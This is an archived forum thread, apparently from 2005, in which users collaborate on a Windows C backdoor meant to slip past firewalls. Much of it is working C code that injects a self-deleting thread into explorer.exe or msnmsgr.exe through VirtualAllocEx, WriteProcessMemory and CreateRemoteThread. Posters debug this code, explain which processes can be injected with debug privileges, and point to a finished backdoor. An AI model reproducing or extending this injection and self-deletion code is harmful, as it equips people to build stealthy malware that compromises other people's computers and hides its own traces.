Articles
|
|
kinkey_wizard
Aug 7 2005, 01:42 PM
Hi there, For some time, I try with another to make a Windows C backdoor. We already succeeded in coding some functions which will be useful later for us, but our knowledge of the C has its limits. Thus we always have a problem with the process injection. We would like to avoid having to make a DLL injection (because, as you know it surely, the FWB is detected by majority of firewalls.), and we would prefer to only make an injection of some functions (FWB++). Looking after that on the board I found this thread : http://www.governmentsecurity.org/forum/in...showtopic=14130We can see this code of Killaloop (thanks guy  ), which makes it possible to an executable to delete itself : QUOTE #pragma comment(lib,"Shlwapi.lib") #pragma comment(lib,"ADVAPI32.LIB")
#include <stdio.h> #include <windows.h> #include <Shlwapi.h> #include <tlhelp32.h>
#define INJECT_EXE "explorer.exe"
typedef struct _RPar { DWORD dwDeleteFile; DWORD dwSleep; char Filename[1024]; } RPar;
DWORD __stdcall ThreadProc(RPar *Para) { FARPROC PDeleteFile = (FARPROC)Para->dwDeleteFile; FARPROC PSleep = (FARPROC)Para->dwSleep;
while(PDeleteFile(Para->Filename) == 0) {PSleep(1000);} return 0; }
int _stdcall WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nCmdShow) { DWORD dwThreadId,pID=0,dwThreadSize=2048; void *pRemoteThread; char ExeFile[1024]; HANDLE hProcess,hSnap; HINSTANCE hKernel; RPar my_RPar,*pmy_RPar;
PROCESSENTRY32 pe32 = {0};
if( (hSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE ) return 3; pe32.dwSize = sizeof(PROCESSENTRY32); Process32First(hSnap, &pe32); do { if ( StrCmpNI(INJECT_EXE,pe32.szExeFile,strlen(INJECT_EXE)) == 0) { pID=pe32.th32ProcessID; break; } } while (Process32Next(hSnap,&pe32));
if ( hSnap != INVALID_HANDLE_VALUE ) CloseHandle(hSnap); hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID); pRemoteThread = VirtualAllocEx(hProcess, 0, dwThreadSize, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pRemoteThread, &ThreadProc, dwThreadSize,0);
ZeroMemory(&my_RPar,sizeof(RPar)); hKernel = LoadLibrary( "kernel32.dll"); my_RPar.dwDeleteFile = (DWORD)GetProcAddress(hKernel, "DeleteFileA"); my_RPar.dwSleep = (DWORD)GetProcAddress(hKernel, "Sleep"); GetModuleFileName(NULL,ExeFile,1024); strcpy(my_RPar.Filename, ExeFile); pmy_RPar =(RPar *)VirtualAllocEx (hProcess ,0,sizeof(RPar),MEM_COMMIT,PAGE_READWRITE); WriteProcessMemory(hProcess ,pmy_RPar,&my_RPar,sizeof my_RPar,0); CreateRemoteThread(hProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pmy_RPar,0,&dwThreadId); FreeLibrary(hKernel); CloseHandle(hProcess); return 0; }
It works fine. Thanks. But I have a problem all the same. I tried this code : QUOTE #pragma comment(lib,"Shlwapi.lib") #pragma comment(lib,"ADVAPI32.LIB")
#include <stdio.h> #include <windows.h> #include <Shlwapi.h> #include <tlhelp32.h>
#define INJECT_EXE "msnmsgr.exe"
typedef struct _RPar { DWORD dwDeleteFile; DWORD dwSleep; DWORD dwMessageBox; char Filename[1024]; } RPar;
DWORD __stdcall ThreadProc(RPar *Para) { FARPROC PDeleteFile = (FARPROC)Para->dwDeleteFile; FARPROC PSleep = (FARPROC)Para->dwSleep; FARPROC PMessageBox = (FARPROC)Para->dwMessageBox; PMessageBox(NULL,"Hello world!","HI THERE",MB_OK); while(PDeleteFile(Para->Filename) == 0) {PSleep(1000);} return 0; }
int _stdcall WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nCmdShow) { DWORD dwThreadId,pID=0,dwThreadSize=2048; void *pRemoteThread; char ExeFile[1024]; HANDLE hProcess,hSnap; HINSTANCE hKernel, hUser; RPar my_RPar,*pmy_RPar;
PROCESSENTRY32 pe32 = {0};
if( (hSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE ) return 3; pe32.dwSize = sizeof(PROCESSENTRY32); Process32First(hSnap, &pe32); do { if ( StrCmpNI(INJECT_EXE,pe32.szExeFile,strlen(INJECT_EXE)) == 0) { pID=pe32.th32ProcessID; break; } } while (Process32Next(hSnap,&pe32));
if ( hSnap != INVALID_HANDLE_VALUE ) CloseHandle(hSnap); hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID); pRemoteThread = VirtualAllocEx(hProcess, 0, dwThreadSize, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pRemoteThread, &ThreadProc, dwThreadSize,0);
ZeroMemory(&my_RPar,sizeof(RPar)); hKernel = LoadLibrary( "kernel32.dll"); my_RPar.dwDeleteFile = (DWORD)GetProcAddress(hKernel, "DeleteFileA"); my_RPar.dwSleep = (DWORD)GetProcAddress(hKernel, "Sleep"); hUser = LoadLibrary( "user32.dll"); my_RPar.dwMessageBox = (DWORD)GetProcAddress(hUser, "MessageBox"); GetModuleFileName(NULL,ExeFile,1024); strcpy(my_RPar.Filename, ExeFile); pmy_RPar =(RPar *)VirtualAllocEx (hProcess ,0,sizeof(RPar),MEM_COMMIT,PAGE_READWRITE); WriteProcessMemory(hProcess ,pmy_RPar,&my_RPar,sizeof my_RPar,0); CreateRemoteThread(hProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pmy_RPar,0,&dwThreadId); FreeLibrary(hKernel); CloseHandle(hProcess); return 0; }
In it I add just a message box in the injected function. The parts in red represent all the code which I add for that. I test, and then, explorer.exe (or other process where the function is injected) crashes. So my first question is : what did I forget in order to display my messagebox by the injected function ? The second question would be : How could I do, starting from this code, to add other functions in ThreadProc() which were not APIs but functions of my design ? Please excuse my potential mistakes in English, it is not my native language. If you did not understand something, tell me, I will be delighted to explain again. Thanks in advance with all those who will want to answer.
Killaloop
Aug 7 2005, 03:39 PM
QUOTE #pragma comment(lib,"Shlwapi.lib") #pragma comment(lib,"ADVAPI32.LIB")
#include <stdio.h> #include <windows.h> #include <Shlwapi.h> #include <tlhelp32.h>
#define INJECT_EXE "explorer.exe"
typedef struct _RPar { DWORD dwDeleteFile; DWORD dwSleep; DWORD dwMessageBox; char Filename[1024]; char string1[1024]; char string2[1024]; } RPar;
DWORD __stdcall ThreadProc(RPar *Para) { FARPROC PDeleteFile = (FARPROC)Para->dwDeleteFile; FARPROC PSleep = (FARPROC)Para->dwSleep; FARPROC PMessageBox = (FARPROC)Para->dwMessageBox; PMessageBox(NULL,Para->string1,Para->string2,MB_OK); while(PDeleteFile(Para->Filename) == 0) {PSleep(1000);} return 0; }
int _stdcall WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nCmdShow) { DWORD dwThreadId,pID=0,dwThreadSize=2048; void *pRemoteThread; char ExeFile[1024]; HANDLE hProcess,hSnap; HINSTANCE hKernel, hUser; RPar my_RPar,*pmy_RPar;
PROCESSENTRY32 pe32 = {0};
if( (hSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE ) return 3; pe32.dwSize = sizeof(PROCESSENTRY32); Process32First(hSnap, &pe32); do { if ( StrCmpNI(INJECT_EXE,pe32.szExeFile,strlen(INJECT_EXE)) == 0) { pID=pe32.th32ProcessID; break; } } while (Process32Next(hSnap,&pe32));
if ( hSnap != INVALID_HANDLE_VALUE ) CloseHandle(hSnap); hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID); pRemoteThread = VirtualAllocEx(hProcess, 0, dwThreadSize, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pRemoteThread, &ThreadProc, dwThreadSize,0);
ZeroMemory(&my_RPar,sizeof(RPar)); hKernel = LoadLibrary( "kernel32.dll"); my_RPar.dwDeleteFile = (DWORD)GetProcAddress(hKernel, "DeleteFileA"); my_RPar.dwSleep = (DWORD)GetProcAddress(hKernel, "Sleep"); hUser = LoadLibrary( "user32.dll"); my_RPar.dwMessageBox = (DWORD)GetProcAddress(hUser, "MessageBoxA"); GetModuleFileName(NULL,ExeFile,1024); strcpy(my_RPar.Filename, ExeFile); strcpy(my_RPar.string1, "HI THERE"); strcpy(my_RPar.string2, "Hello World!"); pmy_RPar =(RPar *)VirtualAllocEx (hProcess ,0,sizeof(RPar),MEM_COMMIT,PAGE_READWRITE); WriteProcessMemory(hProcess ,pmy_RPar,&my_RPar,sizeof my_RPar,0); CreateRemoteThread(hProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pmy_RPar,0,&dwThreadId); FreeLibrary(hKernel); CloseHandle(hProcess); return 0; }
here is the fixed code first of the functions name is MessageBoxA that was the reason why the injected execuables crashed. second you cannot have any strings defined in the injected thread. the pointers would point to a wrong memory location. you have to define them in the struct. well see what I have done and you know what went wrong. btw.: you will already find a working backdoor using this within this section on this board, just open your eyes
n.n.p
Aug 7 2005, 08:50 PM
Ok, I just spent the last 20 mins on msdn checking out all those functions i've never seen before and i have but one question..... can any process do this? i.e is there no issue with access rights or anything. For example CODE pRemoteThread = VirtualAllocEx(hProcess, 0, dwThreadSize, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
That reserves space in the INJECT_EXE's virtual address space right? and i can see you opened that with CODE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID); which gives you the access to do this but are there any restrictions on opening processes like this and allocating/writing to their virtual address space? Thanks, NNP
Killaloop
Aug 7 2005, 09:27 PM
exactly you try to get a handle to the process with all access flag set. this will only work if you own the process. if you run as an user you can only inject into processes running with your user account. if you run as administrator you can give yourself se_debug_privs and inject into everything. I once miscoded something and ruined my windows causing it to not give se_debug_privs to the administrator account. this made many windows programs not work anymore, but has stopped me from injecting.
n.n.p
Aug 7 2005, 09:33 PM
but i dont have to be admin to inject? I mean if im an unprivaleged user can i inject code into, for example, svchost.exe's virtual address space?
Killaloop
Aug 7 2005, 10:20 PM
read again what I have said. QUOTE if you run as an user you can only inject into processes running with your user account.
does svchost run with your user account? no its a system process. next time if you ask a question listen for the answer or don't expect me to answer again
kinkey_wizard
Aug 8 2005, 09:22 PM
Thanks very much Killaloop. You answered to my question. :] Also... Wow!! o_o I apologise, indeed I didn't open my eyes. :/ I'm going to study this thread too : http://www.governmentsecurity.org/forum/in...showtopic=13887(Moreover thanks for that too :] ) Regards.
Killaloop
Aug 8 2005, 09:49 PM
QUOTE(kinkey_wizard @ Aug 8 2005, 09:22 PM) Thanks very much Killaloop. You answered to my question. :] Also... Wow!! o_o I apologise, indeed I didn't open my eyes. :/ I'm going to study this thread too : http://www.governmentsecurity.org/forum/in...showtopic=13887(Moreover thanks for that too :] ) Regards. no problem. its good that you tried to understand the code first and did not use the finished backdoor. now you know how it works and what it does and why your way failed. thats better in my eyes than just compiling someones code. btw take care to only use as much memory as you actually need for your stuff because you will see how the used memory of your target process increases after injection. so doing something like I did with char string1[1024] if we only need 10 bytes is not really good
kinkey_wizard
Aug 8 2005, 11:59 PM
QUOTE(Killaloop @ Aug 8 2005, 11:49 PM) btw take care to only use as much memory as you actually need for your stuff because you will see how the used memory of your target process increases after injection. so doing something like I did with char string1[1024] if we only need 10 bytes is not really good  I think I can do that : CODE #define INJECT_EXE "explorer.exe" #define HELLO "Hello world"
typedef struct _RPar { DWORD dwDeleteFile; DWORD dwSleep; DWORD dwMessageBox; char Filename[1024]; char string2[] = HELLO; } RPar; ... And remove this line : CODE strcpy(my_RPar.string2, "Hello World!"); ... To optimize the memory management. No ?
Killaloop
Aug 9 2005, 12:23 AM
no this won't even compile and even if it does your pointers would be wrong. how would the remote thread know where the defined char is located at? just use the way shown and only use memory you need like char string1[7] for Hello!
kinkey_wizard
Aug 9 2005, 05:07 PM
Ok, thanks for the information. I will try to make as well as possible. If I have other questions or as soon as I finish my backdoor, I come back. :] Regards.
Intox
Aug 10 2005, 08:06 PM
Using a structure wich contain all variables needed in injected fonction works fine in a simple backdoor, but it becomes really boring if you want to add some features to your backdoor/trojan.
I was wondering myself about a way to use many fonctions in an injection: i though about declaring some pointers in the RPar structure, and make them point on the designed functions, but pointers have same type and arguments that the object they point, and i can't define type functions in the Rpar structure.
i though about injecting all functions i need into explorer (the injected process), i didn't try.
Someone have an idea and can direct me ?
I apologize for my bad english and my weak knowledge of C langage.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
|
|